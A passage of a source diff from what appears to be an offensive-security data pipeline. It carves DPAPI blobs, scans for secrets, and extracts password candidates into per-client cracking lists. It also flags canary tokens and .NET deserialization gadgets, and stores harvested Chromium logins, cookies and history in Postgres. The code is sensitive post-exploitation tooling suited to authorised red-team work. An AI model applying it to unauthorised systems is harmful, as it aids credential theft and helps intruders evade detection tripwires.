Chromium state file, emitting ChromiumStateFileMessage") + await self.out_q_chromiumstatefile.Send(chromium_state_file_message.SerializeToString()) + + # if this file is Seatbelt data, emit a raw_data message so the data is properly processed + elif file_data.magic_type == "JSON data" and helpers.scan_with_yara(file_path_on_disk, "seatbelt_json"): + skip_dpapi_carve = True + seatbelt_raw_data_message = pb.RawDataIngestionMessage() + seatbelt_raw_data_message.metadata.CopyFrom(metadata) + raw_data_message = seatbelt_raw_data_message.data.add() + raw_data_message.data = file_data.object_id + raw_data_message.tags.append("seatbelt_json") + raw_data_message.is_file = True + await logger.ainfo("Detected Seatbelt json file, emitting RawDataIngestionMessage") + await self.out_q_rawdata.Send(seatbelt_raw_data_message.SerializeToString()) + + # if we have a registry file, try to extract all the strings and run NoseyParker on everything + if file_data.magic_type.startswith("MS Windows registry file"): + + # skip DPAPI carving for registry hives since we do it manually + skip_dpapi_carve = True + + with tempfile.NamedTemporaryFile(mode="a+") as temp_file: + # first ascii + subprocess.run(["strings", file_path_on_disk], stdout=temp_file, stderr=subprocess.PIPE) + # now unicode + subprocess.run(["strings", "--encoding=l", file_path_on_disk], stdout=temp_file, stderr=subprocess.PIPE) + temp_file.seek(0) + + try: + noseyparker_output = helpers.run_noseyparker(temp_file.name) + enrichments_success.append(constants.E_NOSEYPARKER_SCAN) + + if noseyparker_output and len(noseyparker_output.rule_matches) > 0: + file_data.noseyparker.CopyFrom(noseyparker_output) + await self.alerter.file_data_alert( + file_data=file_data, + title="NoseyParker Results", + metadata=metadata, + ) + except Exception as e: + await logger.aexception(e, message="Noseyparker scanning failed") + enrichments_failure.append(constants.E_NOSEYPARKER_SCAN) + + ########################################################### + # + # DPAPI blob carving and processing + # + ########################################################### + + try: + # Scan for the presence of DPAPI blobs using Yara + if not skip_dpapi_carve and helpers.scan_with_yara(file_path_on_disk, "dpapi_blob"): + enrichments_success.append(constants.E_DPAPI_BLOB_SCAN) + + file_data.contains_dpapi = True + + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="DPAPI data present", + ) + + # carve any DPAPI blobs + carved = await helpers.carve_dpapi_blobs_from_file(file_path_on_disk, file_uuid_str, metadata) + + if carved is not None: + (dpapi_blob_ids, dpapi_blob_messages) = carved + enrichments_success.append(constants.E_DPAPI_BLOB_CARVED) + + # publish any carved DPAPI blobs to the queue + for dpapi_blob_message in dpapi_blob_messages: + await self.out_q_dpapiblob.Send(dpapi_blob_message.SerializeToString()) + + # If blobs were extracted, add those blobs to this file object + # This is so blobs can be tracked from blob(s)->file and file->blob(s) + if dpapi_blob_ids and len(dpapi_blob_ids) > 0: + file_data.dpapi_blobs.extend(dpapi_blob_ids) + else: + # "None" is returned on failure + enrichments_failure.append(constants.E_DPAPI_BLOB_CARVED) + except Exception as e: + await logger.aexception( + e, + message="Error when using helpers.scan_with_yara or helpers.carve_dpapi_blobs", + ) + enrichments_failure.append(constants.E_DPAPI_BLOB_SCAN) + + ########################################################### + # + # Office document related processing + # + ########################################################### + + # Check if the office document was encrypted + doc_is_encrypted = file_data.parsed_data.is_encrypted + + # If the file extension indicates that plaintext can be extracted through Tika + if tika_compatible and not doc_is_encrypted: + try: + # use Tika to extract to a new local UUID that references the uploaded Nemesis file text + plaintext_file_id = await self.extract_text(file_path_on_disk) + + if plaintext_file_id: + file_data.extracted_plaintext = str(plaintext_file_id) + enrichments_success.append(constants.E_TEXT_EXTRACTED) + except Exception as e: + await logger.aexception(e, message="Exception in running extract_text()") + enrichments_failure.append(constants.E_TEXT_EXTRACTED) + + # If we can convert the document to a PDF with Gotenberg and the document isn't an encrypted office doc + if can_convert_to_pdf and not doc_is_encrypted: + # use Gotenberg to convert the document to a new local UUID that references the uploaded Nemesis file text + # Gotenberg requires an extension, so we have to temporarily rename the file to its original extension + + orig_filename = file_path_on_disk + temp_filename = f"{orig_filename}.{file_data.extension}" + os.rename(orig_filename, temp_filename) + + try: + pdf_uuid = await self.convert_to_pdf(temp_filename) + enrichments_success.append(constants.E_PDF_CONVERSION) + + if pdf_uuid: + file_data.converted_pdf = str(pdf_uuid) + except Exception as e: + await logger.aexception(e, message="Could not convert file to PDF", file_uuid=file_uuid_str) + enrichments_failure.append(constants.E_PDF_CONVERSION) + + # restore the original file name + os.rename(temp_filename, orig_filename) + + ########################################################### + # + # Misc processing + # + ########################################################### + + # check the file for canaries :smiling_imp: + if file_data.parsed_data.WhichOneof("data_type") == "office_doc_new": + canaries = await canary_helpers.get_office_document_canaries(file_path_on_disk) + file_data.canaries.CopyFrom(canaries) + else: + canaries = await canary_helpers.get_file_canaries(file_path_on_disk) + file_data.canaries.CopyFrom(canaries) + + if file_data.canaries.canaries_present: + text = "" + + for canary in file_data.canaries.canaries: + rule = canary.type + urls = ", ".join(canary.data) + urls = urls.replace(".", "[.]") + text += f"*Rule {rule} :* {urls}\n" + + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="Possible canaries detected", + text=text, + ) + + # run Yara on the file + yara_results = await self.yara_opsec_scan(file_path_on_disk) + if "error" in yara_results: + error_text = yara_results["error"] + enrichments_failure.append(constants.E_YARA_SCAN) + await logger.aerror(f"Error in yara_opsec_scan: {error_text}") + else: + enrichments_success.append(constants.E_YARA_SCAN) + if "yara_matches" in yara_results and len(yara_results["yara_matches"]) > 0: + rule_matches = yara_results["yara_matches"] + file_data.yara_matches.extend(rule_matches) + + alert_rules = [rule for rule in rule_matches if rule not in constants.EXCLUDED_YARA_RULES] + + if alert_rules: + rule_matches_str = ", ".join(alert_rules) + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="Yara rule match(es)", + text=f"*Rules:* {rule_matches_str}", + ) + + # if the file isn't a binary file (or is a Chromium history file) + # run NoseyParker on it for anything we can find + if not file_is_binary or file_data.parsed_data.WhichOneof("data_type") == "chromium_history": + try: + noseyparker_output = helpers.run_noseyparker(file_path_on_disk) + enrichments_success.append(constants.E_NOSEYPARKER_SCAN) + + if noseyparker_output and len(noseyparker_output.rule_matches) > 0: + file_data.noseyparker.CopyFrom(noseyparker_output) + await self.alerter.file_data_alert( + file_data=file_data, + title="NoseyParker Results", + metadata=metadata, + ) + except Exception as e: + await logger.aexception(e, message="Noseyparker scanning failed") + enrichments_failure.append(constants.E_NOSEYPARKER_SCAN) + + # first check if there's a non-null originating_object_id - this is to prevent an explosion + # of files if there are nested archives + # then if the file is not tika_compatible (this is a hack for "not a new office document format") + # call process_archive to decompress the archive and process every + # file within it (assuming the decompressed size is below self.extracted_archive_size_limit) + if ( + (not originating_object_id or originating_object_id == "00000000-0000-0000-0000-000000000000") + and not tika_compatible + and helpers.is_archive(file_path_on_disk) + ): + if await self.process_archive(file_path_on_disk, file_path, file_data.object_id, metadata): + enrichments_success.append(constants.E_ARCHIVE_CONTENTS_PROCESSED) + else: + enrichments_failure.append(constants.E_ARCHIVE_CONTENTS_PROCESSED) + + # if the file type is a .NET assembly, perform additional analysis (deserialization/etc.) + if file_data.nemesis_file_type == "dotnet_assembly": + if not self.dotnet_uri: + # file_data.analysis = helpers.get "error: DOTNET_URI not defined" + file_data.extracted_source = "error: DOTNET_URI not defined" + else: + # decompile the source and analyze the assembly + # we want to use the original object_id instead of the temp file path here + # because the dotnet container is downloading the original file from storage + dotnet_results = await self.process_dotnet(file_data.object_id) + + if dotnet_results: + if "error" in dotnet_results["decompilation"]: + file_data.extracted_source = dotnet_results["decompilation"]["error"] + enrichments_failure.append(constants.E_DOTNET_ANALYSIS) + else: + enrichments_success.append(constants.E_DOTNET_ANALYSIS) + file_data.analysis.CopyFrom(dotnet_results["analysis"]) + + try: + if file_data.analysis.dotnet_analysis.has_deserialization: + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="Potential Deserialization Found", + ) + except: + pass + try: + if file_data.analysis.dotnet_analysis.has_cmd_execution: + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="Potential Command Execution Found", + ) + except: + pass + try: + if file_data.analysis.dotnet_analysis.has_remoting: + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="Potential Remoting Found", + ) + except: + pass + + if "object_id" in dotnet_results["decompilation"] and dotnet_results["decompilation"]["object_id"] is not None: + file_data.extracted_source = dotnet_results["decompilation"]["object_id"] + with await self.storage.download(uuid.UUID(file_data.extracted_source)) as temp_decomp_file: + # if there's extracted source, download the source and run NoseyParker on the extracted source + noseyparker_output = helpers.run_noseyparker_on_archive(temp_decomp_file.name) + if noseyparker_output: + file_data.noseyparker.CopyFrom(noseyparker_output) + await self.alerter.file_data_alert( + file_data=file_data, + title="NoseyParker Results", + metadata=metadata, + ) + + else: + enrichments_failure.append(constants.E_DOTNET_ANALYSIS) + + file_data.enrichments_success.extend(enrichments_success) + file_data.enrichments_failure.extend(enrichments_failure) + + return file_data + + @aio.time(Summary("process_archive", "Time spent processing an archive")) # type: ignore + async def process_archive(self, archive_file_path_on_disk: str, archive_file_path: str, archive_uuid: str, metadata: pb.Metadata): + """Processes all the files in a supplied archive. + + If an archive is under the self.extracted_archive_size_limit when decompressed, decompress + it, upload each file to Nemesis, and publish a new `file_data` topic for each new file + so each file is processed individually by the pipeline. + """ + + archive_size = helpers.get_archive_size(archive_file_path_on_disk) + + if not (archive_size > 0 and archive_size < self.extracted_archive_size_limit): + await logger.awarning( + f"process_archive: '{archive_file_path}' ({archive_file_path_on_disk}) is over the projected decompressed limit of {self.extracted_archive_size_limit} bytes" + ) + return False + + try: + tmp_dir = helpers.extract_archive(archive_file_path_on_disk) + except helpers.FileNotSupportedException: + logger.info("File is not a supported archive format", file_path_on_disk=archive_file_path_on_disk) + return False + except RuntimeError as e: + if "encrypted, password required for extraction" in str(e): + logger.info("Archive is encrypted", file_path_on_disk=archive_file_path_on_disk) + return True + logger.exception(e, message="RuntimeError extracting archive", file_path_on_disk=archive_file_path_on_disk) + return False + + processed_files = 0 + + for extracted_file_path in pathlib.Path(tmp_dir).rglob("**/*"): + try: + extracted_file_size = os.path.getsize(extracted_file_path) + + if os.path.isfile(extracted_file_path) and extracted_file_size > 0: + async with TempFile(self.data_download_dir) as temp_file: + # Rename the extracted file to a UUID and upload to Nemesis/S3 + shutil.move(extracted_file_path, temp_file.path) + object_id = await self.storage.upload(temp_file.path) + + # ensure / normalization for the file path + extracted_file_path = str(extracted_file_path).replace("\\", "/") + + # construct the "actual" file path as the original ".../zip_path/this_file" + real_extracted_file_path = extracted_file_path.replace(tmp_dir, archive_file_path) + + file_data_message_pb = pb.FileDataIngestionMessage() + + # copy in the original archive's metadata + file_data_message_pb.metadata.CopyFrom(metadata) + + file_data_pb = file_data_message_pb.data.add() + file_data_pb.object_id = f"{object_id}" + file_data_pb.path = real_extracted_file_path + file_data_pb.size = extracted_file_size + + # set the originating object for this file as the UUID from the archive it was extracted from + file_data_pb.originating_object_id = archive_uuid + + # publish this as a new "file_data" message to the queue... + await self.out_q_filedata.Send(file_data_message_pb.SerializeToString()) + + await logger.ainfo(f"Submitted extracted file '{real_extracted_file_path}' to Nemesis") + processed_files += 1 + + except Exception as e: + await logger.aexception( + e, message="process_archive error", extracted_file_path=extracted_file_path, archive_file_path=archive_file_path + ) + return False + + await logger.ainfo("Files processed from archive", archive_file_path=archive_file_path, processed_files=processed_files) + + # clean up the extracted directory + if os.path.exists(tmp_dir): + shutil.rmtree(tmp_dir, ignore_errors=True) + + return True + + @aio.time(Summary("process_file_data", "Time spent processing a file_data topic")) # type: ignore + async def process_file_data(self, event: pb.FileDataIngestionMessage): + """Main function to process file_data events.""" + + for data in event.data: + file_data_enriched_message = pb.FileDataEnrichedMessage() + + # copy in the original message's metadata + file_data_enriched_message.metadata.CopyFrom(event.metadata) + + object_id = data.object_id + originating_object_id = data.originating_object_id + file_path = data.path + + # enrich the data, passing the new file_data_enriched object so we don't have to make a copy later + start_time = datetime.now() + + structlog.contextvars.bind_contextvars( + file_path=file_path, + object_id=object_id, + ) + + try: + file_data_enriched = await self.process_file(object_id, originating_object_id, file_path, event.metadata) + file_data_enriched_message.data.extend([file_data_enriched]) + + await logger.ainfo("Finished processing file", duration=str(datetime.now() - start_time)) + + await self.out_q_filedataenriched.Send(file_data_enriched_message.SerializeToString()) + except Exception as e: + await logger.aexception(e, message="process_file error", file_uuid=object_id) + return helpers.nemesis_error(f"process_file error for {object_id} : {e}") + + @aio.time(Summary("process_file_data_enriched", "Time spent processing a file_data_enriched topic")) # type: ignore + async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage): + """Main function to process file_data_enriched events.""" + + for data in event.data: + structlog.contextvars.bind_contextvars( + object_id=data.object_id, + file_path=data.name, + ) + + # if this enriched file has extracted plaintext, emit a file_data_plaintext_message + if data.extracted_plaintext and data.extracted_plaintext != "": + file_data_plaintext_message = pb.FileDataPlaintextMessage() + file_data_plaintext_message.metadata.CopyFrom(event.metadata) + file_uuid_str = data.extracted_plaintext + start_time = datetime.now() + + plaintext_result = await self.process_plaintext_from_file_data_enriched(data, file_data_plaintext_message) + + if plaintext_result: + await logger.ainfo(f"{file_uuid_str} processed in: {datetime.now() - start_time}") + await self.out_q_filedataplaintext.Send(file_data_plaintext_message.SerializeToString()) + + # if this file is source code, emit a file_data_sourcecode message + elif data.is_source_code: + file_data_sourcecode_message = pb.FileDataSourcecodeMessage() + file_data_sourcecode_message.metadata.CopyFrom(event.metadata) + file_data_sourcecode = file_data_sourcecode_message.data.add() + file_data_sourcecode.object_id = data.object_id + file_data_sourcecode.path = data.path + file_data_sourcecode.name = data.name + file_data_sourcecode.extension = data.extension + file_data_sourcecode.language = helpers.map_extension_to_language(data.extension) + file_data_sourcecode.size = data.size + await self.out_q_filedatasourcecode.Send(file_data_sourcecode_message.SerializeToString()) + + async def yara_opsec_scan(self, file_path: str): + """ + Scans the given file path with all current yara OPSEC rules. + + Any matches are returned. If the file doesn't exist, we attempt to + download it the Nemesis datastore. + """ + + if os.path.exists(file_path): + try: + return {"yara_matches": [f"{match}" for match in self.yara_rules.match(file_path)]} + except Exception as e: + await logger.aexception(e, message="yara_scan_file error", file_path=file_path) + return {"error": f"yara_scan_file error for {file_path} : {e}"} + else: + try: + # try to download the file from the nemesis API + file_uuid = uuid.UUID(file_path) + with await self.storage.download(file_uuid) as temp_file: + return {"yara_matches": [f"{match}" for match in self.yara_rules.match(temp_file.name)]} + except Exception as e: + await logger.aexception(e, message="yara_scan_file error", file_path=file_path) + return {"error": f"yara_scan_file error for {file_path} : {e}"} + finally: + # clean up the local file if it exists + if os.path.exists(file_path): + os.remove(file_path) + + async def extract_text(self, file_path: str) -> Optional[uuid.UUID]: + """Extracts text from a file, and if there's text, returns a Nemesis File UUID.""" + + text = await self.text_extractor.extract(file_path) + if text is None: + await logger.adebug("No text extracted", file_path=file_path) + return None + + # Write the extracted text to a temporary file and upload it to Nemesis + with tempfile.NamedTemporaryFile(mode="w") as plaintext_file: + plaintext_file.write(text) + plaintext_file.seek(0) + + extractedtext_file_uuid = await self.storage.upload(plaintext_file.name) + return extractedtext_file_uuid + + async def convert_to_pdf(self, file_path: str) -> Optional[uuid.UUID]: + """Calls self.gotenberg_uri to convert the supplied document to a PDF. + + The PDF is written to a new UUID, uploaded to S3, and the UUID is returned. + """ + + with open(file_path, "rb") as file: + files = {"file": file} + url = f"{self.gotenberg_uri}forms/libreoffice/convert" + + async with aiohttp.ClientSession() as session: + async with TempFile(self.data_download_dir) as temp_file: + async with session.post(url, data=files) as resp: + resp.raise_for_status() + + with open(temp_file.path, "wb") as f: + async for chunk in resp.content.iter_chunked(self.chunk_size): + f.write(chunk) + + if os.path.getsize(temp_file.path) > 0: + pdf_file_uuid = await self.storage.upload(temp_file.path) + return pdf_file_uuid + else: + await logger.awarning(f"Result {temp_file.path} is 0 bytes") + return None + + async def extract_passwords(self, file_path: str) -> dict: + """Calls the self.ml_models_uri to extract password candidates from a plaintext document.""" + + try: + data = {"object_id": file_path} + url = f"{self.ml_models_uri}passwords" + + async with aiohttp.ClientSession() as session: + async with session.post(url, json=data) as resp: + resp.raise_for_status() + response = await resp.json() + return response + + except Exception as e: + await logger.aexception(e, message="Error calling ml_models", file_path=file_path) + return {"error": f"Error calling ml_models on {file_path} : {e}"} + + async def summarize_text(self, file_path: str, num_sentences: int = 4) -> str: + """Summarizes a local text file using the `sumy` Python library.""" + try: + parser = PlaintextParser.from_file(file_path, Tokenizer("english")) + summarizer = TextRankSummarizer() + summary = " ".join([f"{sentence}" for sentence in summarizer(parser.document, num_sentences)]) + summary = re.sub("\\s", " ", summary) + return summary + except Exception as e: + await logger.aerror(f"Error summarizing {file_path} : {e}") + return f"Error: summarizing {file_path} : {e}" + + async def update_cracklist(self, object_id: str, client_id: str) -> bool: + """Calls self.crack_list_uri to update the cracklist with the current plaintext file. + + client_id is a unique identifier for the engagement/client + """ + + try: + data = {"object_id": object_id, "client_id": client_id} + url = f"{self.crack_list_uri}add?length_filter=true" + + async with aiohttp.ClientSession() as session: + async with session.post(url, json=data) as resp: + resp.raise_for_status() + return True + + except Exception as e: + await logger.aexception(e, message="Error calling cracklist", file_uuid=object_id) + return False + + async def process_dotnet(self, file_path: str) -> Optional[dict]: + """Calls the self.dotnet_uri/process api endpoint to decompile the supplied .NET assembly.""" + + try: + data = {"object_id": file_path} + # headers = {"Content-type": "application/json", "Accept": "text/plain"} + url = f"{self.dotnet_uri}process" + + async with aiohttp.ClientSession() as session: + async with session.post(url, json=data) as resp: + resp.raise_for_status() + response = await resp.json() + + results = {} + results["decompilation"] = response["decompilation"] + + # extract out all of the json'ified analysis output + data = response["analysis"] + + analysis = pb.Analysis() + + if data["RemotingChannels"]: + analysis.dotnet_analysis.remoting_channels.extend(data["RemotingChannels"]) + + analysis.dotnet_analysis.is_wcf_server = data["IsWCFServer"] + analysis.dotnet_analysis.is_wcf_client = data["IsWCFClient"] + + for k, v in data["SerializationGadgetCalls"].items(): + for temp in v: + analysis.dotnet_analysis.has_deserialization = True + gadget_call = analysis.dotnet_analysis.serialization_gadget_calls.add() + gadget_call.gadget_name = k + gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else "" + gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else "" + + for k, v in data["WcfServerCalls"].items(): + for temp in v: + analysis.dotnet_analysis.has_remoting = True + gadget_call = analysis.dotnet_analysis.wcf_server_calls.add() + gadget_call.gadget_name = k + gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else "" + gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else "" + + for k, v in data["ClientCalls"].items(): + for temp in v: + analysis.dotnet_analysis.has_remoting = True + gadget_call = analysis.dotnet_analysis.client_calls.add() + gadget_call.gadget_name = k + gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else "" + gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else "" + + for k, v in data["RemotingCalls"].items(): + for temp in v: + analysis.dotnet_analysis.has_remoting = True + gadget_call = analysis.dotnet_analysis.remoting_calls.add() + gadget_call.gadget_name = k + gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else "" + gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else "" + + for k, v in data["ExecutionCalls"].items(): + for temp in v: + analysis.dotnet_analysis.has_cmd_execution = True + gadget_call = analysis.dotnet_analysis.cmd_execution_calls.add() + gadget_call.gadget_name = k + gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else "" + + results["analysis"] = analysis + + return results + + except Exception as e: + await logger.aexception(e, message="process_dotnet: error", file_path=file_path) + return None + + async def process_plaintext_from_file_data_enriched( + self, file_data: pb.FileDataEnriched, file_data_plaintext_message: pb.FileDataPlaintextMessage + ): + """Processes extracted file plaintext from a file_data_enriched file. + + Takes a file_data_enriched message and builds an additional enriched file_data_plaintext + that's put back into the queue if `extractedPlaintext` is specified in the file_data_enriched + message. + """ + + if not file_data.HasField("extracted_plaintext"): + return False + + # file UUID of the extracted plaintext file + nemesis_uuid = file_data.extracted_plaintext + + # the original path of the downloaded file + originating_object_path = file_data.path + + # the original size of the downloaded file + originating_object_size = file_data.size + + file_data_plaintext = file_data_plaintext_message.data.add() + file_data_plaintext.object_id = nemesis_uuid + file_data_plaintext.originating_object_path = originating_object_path + file_data_plaintext.originating_object_id = file_data.object_id + file_data_plaintext.originating_object_size = originating_object_size + + if file_data.converted_pdf: + # if the file was converted to a PDF, set save that UUID for later reference/display + file_data_plaintext.originating_object_converted_pdf = file_data.converted_pdf + elif file_data.path.endswith(".pdf"): + # if the file WAS a PDF, set save that UUID for later reference/display + file_data_plaintext.originating_object_converted_pdf = file_data.object_id + + enrichments_success = [] + enrichments_failure = [] + + try: + # download the file from the nemesis API + with await self.storage.download(uuid.UUID(nemesis_uuid)) as temp_file: + # update the cracking list with this plaintext file + the project ID + # TODO: is this working? + success = await self.update_cracklist(nemesis_uuid, file_data_plaintext_message.metadata.project) + + if success: + enrichments_success.append(constants.E_UPDATE_CRACKLIST) + else: + enrichments_failure.append(constants.E_UPDATE_CRACKLIST) + + word_count = 0 + + with open(temp_file.name, "rb") as f: + # chunking to handle large files + while chunk := f.read(self.chunk_size): + word_count += len(chunk.split()) + + file_data_plaintext.word_count = word_count + + if file_data_plaintext.word_count < self.model_word_limit: + # model/regex password candidate from the plaintext + password_candidates = await self.extract_passwords(file_data_plaintext.object_id) + + if "error" in password_candidates: + await logger.aerror( + "Failed to run extract_passwords() on plaintext file", + message=password_candidates["error"], + file_path=file_data_plaintext.object_id, + ) + enrichments_failure.append(constants.E_EXTRACT_PASSWORDS) + else: + enrichments_success.append(constants.E_EXTRACT_PASSWORDS) + + if "model_password_candidates" in password_candidates: + for model_password_candidate in password_candidates["model_password_candidates"]: + password_candidate = file_data_plaintext.model_passwords.add() + password_candidate.left_context = " ".join(model_password_candidate["left_context"]) + password_candidate.password = model_password_candidate["password"] + password_candidate.right_context = " ".join(model_password_candidate["right_context"]) + if "regex_password_candidates" in password_candidates: + for regex_password_candidate in password_candidates["regex_password_candidates"]: + password_candidate = file_data_plaintext.regex_passwords.add() + password_candidate.left_context = " ".join(regex_password_candidate["left_context"]) + password_candidate.password = regex_password_candidate["password"] + password_candidate.right_context = " ".join(regex_password_candidate["right_context"]) + + # summarization, in 4 sentences here, if under MODEL_WORD_LIMIT words + if file_data_plaintext.word_count < self.model_word_limit: + summary = f"{await self.summarize_text(temp_file.name, 4)}" + if summary.startswith("Error:"): + await logger.aerror( + "Failed to run summarize_text() on plaintext file", + message=summary, + file_path=file_data_plaintext.object_id, + ) + enrichments_failure.append(constants.E_SUMMARIZE) + else: + file_data_plaintext.summary = summary + enrichments_success.append(constants.E_SUMMARIZE) + else: + file_data_plaintext.summary = f"file contents were above {self.model_word_limit} word limit" + enrichments_failure.append(constants.E_SUMMARIZE) + + # run NoseyParker on the plaintext for anything we can find + try: + noseyparker_output = helpers.run_noseyparker(temp_file.name) + + enrichments_success.append(constants.E_NOSEYPARKER_SCAN_TEXT) + if noseyparker_output: + file_data_plaintext.noseyparker.CopyFrom(noseyparker_output) + except Exception as e: + await logger.aexception(e, message="Exception running noseyparker in process_file_plaintext") + enrichments_failure.append(constants.E_NOSEYPARKER_SCAN_TEXT) + + except Exception as e: + await logger.aexception(e, message="Exception in process_file_plaintext") + + if file_data_plaintext: + file_data_plaintext.enrichments_success.extend(enrichments_success) + file_data_plaintext.enrichments_failure.extend(enrichments_failure) + + return True diff --git a/cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py b/cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py new file mode 100644 index 0000000..eb252c8 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py @@ -0,0 +1,629 @@ +# Standard Libraries +import asyncio +import ntpath +import re +import uuid +from typing import Any + +# 3rd Party Libraries +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.nemesis_db import (AuthenticationData, ChromiumCookie, + ChromiumDownload, ChromiumHistoryEntry, + ChromiumLogin, ChromiumStateFile, + DpapiBlob, ExtractedHash, + FileDataEnriched, FileInfo, + FileInfoDataEnriched, NamedPipe, + NemesisDb, NetworkConnection, Project) +from enrichment.tasks.postgres_connector.registry_watcher import \ + RegistryWatcher +from google.protobuf.json_format import MessageToDict +from nemesiscommon.messaging import MessageQueueConsumerInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class PostgresConnector(TaskInterface): + db: NemesisDb + reg_watcher: RegistryWatcher + + # Queues + auth_data_q: MessageQueueConsumerInterface + chromium_cookies_q: MessageQueueConsumerInterface + chromium_downloads_q: MessageQueueConsumerInterface + chromium_history_q: MessageQueueConsumerInterface + chromium_logins_q: MessageQueueConsumerInterface + chromium_state_file_processed_q: MessageQueueConsumerInterface + dpapi_blob_processed_q: MessageQueueConsumerInterface + extracted_hash_q: MessageQueueConsumerInterface + file_data_enriched_q: MessageQueueConsumerInterface + file_info_q: MessageQueueConsumerInterface + path_list_q: MessageQueueConsumerInterface + registry_value_q: MessageQueueConsumerInterface + named_pipe_q: MessageQueueConsumerInterface + service_enriched_q: MessageQueueConsumerInterface + network_connection_q: MessageQueueConsumerInterface + + def __init__( + self, + db: NemesisDb, + reg_watcher: RegistryWatcher, + auth_data_q: MessageQueueConsumerInterface, + chromium_cookies_q: MessageQueueConsumerInterface, + chromium_downloads_q: MessageQueueConsumerInterface, + chromium_history_q: MessageQueueConsumerInterface, + chromium_logins_q: MessageQueueConsumerInterface, + chromium_state_file_processed_q: MessageQueueConsumerInterface, + dpapi_blob_processed_q: MessageQueueConsumerInterface, + extracted_hash_q: MessageQueueConsumerInterface, + file_data_enriched_q: MessageQueueConsumerInterface, + file_info_q: MessageQueueConsumerInterface, + path_list_q: MessageQueueConsumerInterface, + registry_value_q: MessageQueueConsumerInterface, + named_pipe_q: MessageQueueConsumerInterface, + service_enriched_q: MessageQueueConsumerInterface, + network_connection_q: MessageQueueConsumerInterface, + ): + self.db = db + self.reg_watcher = reg_watcher + + self.auth_data_q = auth_data_q + self.chromium_cookies_q = chromium_cookies_q + self.chromium_downloads_q = chromium_downloads_q + self.chromium_history_q = chromium_history_q + self.chromium_logins_q = chromium_logins_q + self.chromium_state_file_processed_q = chromium_state_file_processed_q + self.dpapi_blob_processed_q = dpapi_blob_processed_q + self.extracted_hash_q = extracted_hash_q + self.file_data_enriched_q = file_data_enriched_q + self.file_info_q = file_info_q + self.path_list_q = path_list_q + self.registry_value_q = registry_value_q + self.named_pipe_q = named_pipe_q + self.service_enriched_q = service_enriched_q + self.network_connection_q = network_connection_q + + async def run(self) -> None: + await logger.ainfo("Starting the Postgres Connector") + + await asyncio.gather( + self.auth_data_q.Read(self.process_auth_data), # type: ignore + self.chromium_cookies_q.Read(self.process_chromium_cookie), # type: ignore + self.chromium_downloads_q.Read(self.process_chromium_download), # type: ignore + self.chromium_history_q.Read(self.process_chromium_history), # type: ignore + self.chromium_logins_q.Read(self.process_chromium_login), # type: ignore + self.chromium_state_file_processed_q.Read(self.process_chromium_state_file_processed), # type: ignore + self.dpapi_blob_processed_q.Read(self.process_dpapi_blob), # type: ignore + self.extracted_hash_q.Read(self.process_extracted_hash), # type: ignore + self.file_data_enriched_q.Read(self.process_file_data_enriched), # type: ignore + self.file_info_q.Read(self.process_file_info), # type: ignore + self.path_list_q.Read(self.process_path_list), # type: ignore + self.registry_value_q.Read(self.process_registry_value), # type: ignore + self.named_pipe_q.Read(self.process_named_pipe), # type: ignore + # self.service_enriched_q.Read(self.process_service), # type: ignore + self.network_connection_q.Read(self.process_network_connection), # type: ignore + ) + await asyncio.Future() + + async def ensure_project_exists(self, metadata: pb.Metadata): + # TODO: Create a cache of projects stored in memory so we don't hit the DB for every event + p = Project( + metadata.project, + metadata.timestamp.ToDatetime(), + metadata.expiration.ToDatetime(), + ) + await self.db.add_project(p) + + @aio.time(Summary("process_chromium_history", "Time spent processing a chromium_history queue")) # type: ignore + async def process_chromium_history(self, event: pb.ChromiumHistoryMessage): + """Main function to process chromium_history queue.""" + + m = event.metadata + await self.ensure_project_exists(m) + + for i in event.data: + data = ChromiumHistoryEntry( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + i.user_data_directory, + i.username, + i.browser, + i.url, + i.title, + i.visit_count, + i.typed_count, + i.last_visit_time.ToDatetime(), + ) + if i.originating_object_id: + data.originating_object_id = uuid.UUID(i.originating_object_id) + + await self.db.add_chromium_history_entry(data) + + @aio.time(Summary("process_chromium_download", "Time spent processing a chromium_download queue")) # type: ignore + async def process_chromium_download(self, event: pb.ChromiumDownloadMessage): + """Main function to process chromium_download queue.""" + + m = event.metadata + await self.ensure_project_exists(m) + + for i in event.data: + data = ChromiumDownload( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + i.user_data_directory, + i.username, + i.browser, + i.url, + i.download_path, + i.start_time.ToDatetime(), + i.end_time.ToDatetime(), + i.total_bytes, + i.danger_type, + ) + if i.originating_object_id: + data.originating_object_id = uuid.UUID(i.originating_object_id) + + await self.db.add_chromium_download(data) + + @aio.time(Summary("process_chromium_login_processed", "Time spent processing a chromium_login_processed queue")) # type: ignore + async def process_chromium_login(self, event: pb.ChromiumLoginMessage): + """Main function to process chromium_login queue.""" + + m = event.metadata + await self.ensure_project_exists(m) + + for i in event.data: + data = ChromiumLogin( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + i.user_data_directory, + i.username, + i.browser, + i.origin_url, + i.username_value, + i.signon_realm, + i.date_created.ToDatetime(), + i.date_last_used.ToDatetime(), + i.date_password_modified.ToDatetime(), + i.times_used, + 